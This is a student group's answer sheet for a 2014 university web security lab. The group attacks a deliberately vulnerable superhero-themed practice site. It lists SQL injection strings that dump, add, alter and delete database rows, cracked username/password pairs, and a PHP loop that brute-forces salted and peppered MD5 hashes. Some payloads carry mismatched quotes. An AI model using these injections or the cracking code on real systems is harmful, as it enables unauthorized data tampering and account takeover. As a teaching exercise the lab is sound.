Summer University, Web Security Lab 1, July 2014

Name: Anushree, Israel, Raphael, Denis

Group: Calvin Hobbes

These exercises are designed to give you a taste of how an attacker might attempt to compromise a site's security. The site we will work with is http://cs31.cs.sjsu.edu/⟨**group**⟩, where ⟨**group**⟩ is the name given to your group. It is designed as a resource for superheros; we'll play the role of the supervillains and try to attack the site.

1. (10 points) Go to http://cs31.cs.sjsu.edu/⟨**group**⟩/login1.php and try to log in to the site. Review some common passwords from `http://www.zdnet.com/blog/security/25-most-used-passwords-revealed-is-yours-one-of-them/12427`. Find a username and password and use it to log in to the website. (Note that the usernames are all based on the names of superheroes).
   What username did you discover? superman
   What is the password for that username? superman
   What steps did you take to find this password?

   By trying one of the names of the superheroes found on the login page. In our case, we chose superman. And the corresponding password happened to be the username repeated.

2	aquaman	fish
3	guest	guest
4	admin	admin123
5	wolverine	harley
6	superman	superman
7	wonderwoman	letmein
8	spiderman	password
10	calvin	hobbes

2. (10 points) Using SQL injection, get the full password list, stored in the `user1` table, Note that the page http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php does not properly sanitize its input. Describe what you did and list all username/password combinations in the table.

   We used the following: ‘;select * from user1;--

   It escapes the previous SQL statement and running the one we entered and escaping the rest of the statements by making it into a comment.

3. (10 points) Add a new account to the `user1` table. Verify that you are able to log in. Describe how you did it.

   ';INSERT INTO user1 (username, password) VALUES('calvin', 'hobbes');--

   Our new superhero is called Calvin with a password of Hobbes. We used an Insert Statement in order to add the hero into the database.

4. (15 points) To break into a site might require a little detective work.
The page http://cs31.cs.sjsu.edu/⟨**group**⟩/villains.php shows a list of Batman's allies and enemies.
For this question, you will need to deduce table names and other details about the site's design.

(a) Change the status of the Joker to "Reformed". Describe how you did it.

We read the documentation to find out about the table structure. After we found the id of the villain statuses, we updated the villain table using the following query:

```
'; update villain set status_id='5' where name='Joker';--
```

(b) Add Commissioner Gordon to the list of villains, Describe how you did it.

Inserted the Commissioner Gordon in the villain table the same way we added the superhero but changed the table we are adding to as well as changing the field names to insert the data properly.

```
'; insert into villain (name, status_value) values(‘Commissioner Gordon’, 1);--
```

(c) Delete the record for Talia al Ghul altogether. Describe how you did it.

We used the delete query on the villain table where we used the where clause, and in the clause we specified to delete ‘Talia al Ghul’.

```
‘;Delete from villain where name=‘’Talia al Ghul’;--
```

5. (15 points) After realizing that the site has been compromised, the site developers have started to hash their passwords. The new login page is http://cs31.cs.sjsu.edu/⟨**group**⟩/login2.php and the new table is `user2`. Through experimentation, you have discovered that the passwords are hashed with MD5 (https://en.wikipedia.org/wiki/MD5).

(a) Determine as many passwords as you can. List the username/password combinations.
You may find this url helpful: `http://md5.gromweb.com/`.

batman rachel
superman loislane
aquaman fish
spiderman ben
hulk smash
wolverine claws
greenlantern carrot88
ghostrider born2ride
flash speedy22
ironman dmg2good

(b) Discuss the choice of MD5 for the hashing function. Why is it a good or not-so-good choice? Would another hashing function been better? Why or why not?

It is not a good choice because MD5 has been cracked and look up tables can be found online. Yes, using Salting adds more characters to a particular password then hashes it, creating a harder hash to look up.

6. (10 points) The site designers attempt to foil your attack by the use of salt values:

   `md5(salt + password)`

   For this exercise, the page is http://cs31.cs.sjsu.edu/⟨**group**⟩/login3.php and the table name is `user3`.

   Write a program in your language of choice to crack as many of the passwords in the `user3` table as possible. Use the list of common passwords from http://cs31.cs.sjsu.edu/passwords.txt. (copied from `http://dazzlepod.com/site_media/txt/passwords.txt`.) Write the cracked username/password combinations.

```
user: greenlantern   password: 897lannister          md5: f4959a20676f2960de9dc757a87c5988
user: superman       password: dmlt5203416533        md5: 8a143436b6e6b38079daaae7ab285d4d
user: aquaman        password: fish                  md5: b15e6399b92f1ccb77b695f494572c73
user: ghostrider     password: harley1971            md5: 32a7e8e8c766134e87aac4bd3ce4ce08
user: hulk           password: hulksmash             md5: dab8c48ee8200d3c99e114ec750c9cae
user: thor           password: midgard91!            md5: e3df0ab158e7dca026b8c3eee0a628cd
user: ironman        password: pepperpot             md5: 91c19ed1c2722fccfb1004892032bb89
user: flash          password: speedy22              md5: 5555fb8dd11711d328ffe6fc03048cfc
user: wolverine      password: wolver1ne             md5: ee472230ab33a26af063ce358beb1db8
```

7. (10 points) The site developers improve their site again to include an unknown pepper value. You have learned that the pepper value is a number between '0' and '9'. The hashing function is:

   `md5(salt + pepper + password)`

   The new login page is http://cs31.cs.sjsu.edu/⟨**group**⟩/login4.php and the table name is `user4`.

   (a) Update your code from the previous section to determine this pepper value.

   Just added a for loop to add in the outer foreach loop, to account for the pepper value.

```
foreach($salts AS $salt) {
        for($i = 0; $i < 10; $i++) {
                if(in_array(md5(trim($salt.$i.$password)), $hashes)) {
                        print('user: '.$users[$count].' password: '.trim($password).' md5: '.md5(trim($salt.$i.$password)).' pepper: '.$i.'');
                }
        }
        $count++;
}
```

   (b) What username/passwords can you determine from the `user4` table?

```
user: spaceghost     password: 22space22             md5: dbc376ddd1ba97afecfa753d3d370d0b pepper: 7
user: hulk           password: allalone06            md5: a152e23a60561c43dcdc383ec29d52ff pepper: 7
user: spiderman      password: blackspidey           md5: 9e47b6d94f5073c7ca61ae00d0ca64d7 pepper: 7
user: ghostrider     password: cupcake               md5: 40c229fdf061cd4f1126201989830cac pepper: 7
user: aquaman        password: fish                  md5: c43453dc72039752f788f65755fbb78d pepper: 7
user: thor           password: password              md5: 83fde867618257ebb0e7712a6a6a3658 pepper: 7
user: silversurfer   password: wipeout1              md5: 3df4e762218452573dbc0faad44efdce pepper: 7
user: superman       password: wonderwoman4eva       md5: 05a7d54262480af643b59520addb9cb3 pepper: 7
user: wolverine      password: zoinks                md5: a0cd98fd49cfee5c87786fe912d0bbcc pepper: 7
user: ironman        password: zombiefight           md5: bf10ebe03d939f79854e8f56bf94f78a pepper: 7
```

(c) How much longer did your program take to run?

It took nearly ten times as longer since we were checking every possible value for the pepper. Depending on how low the pepper value is, the extra time it takes to run can be reduced, but ultimately it takes n more times in the worst case.

(d) How much slower would your code have run if the pepper were between 0 and 999,999?

Worst case, the code would take 1,000,000 longer than just the salt values.

8. (10 points) The site contains http://cs31.cs.sjsu.edu/⟨**group**⟩/secret-identities.php, which is only visible to Batman. Determine the secret identities of the following characters.

Darkwing Duck: Drake Mallard

Stupendous Man: Calvin Hobbes

(Note: There may be multiple ways of determining these identities.)
(Note: Using Google to find the secret identities is cheating.)

1	Superman	Clark Kent
2	Spiderman	Peter Parker
3	Batman	Bruce Wayne
4	Darkwing Duck	Drake Mallard
5	Hulk	Dr. David Banner
6	Iron Man	Tony Stark
7	Wolverine	James "Logan" Howlett
8	Stupendous Man	Calvin Hobbes
9	Sylar	Gabriel Gray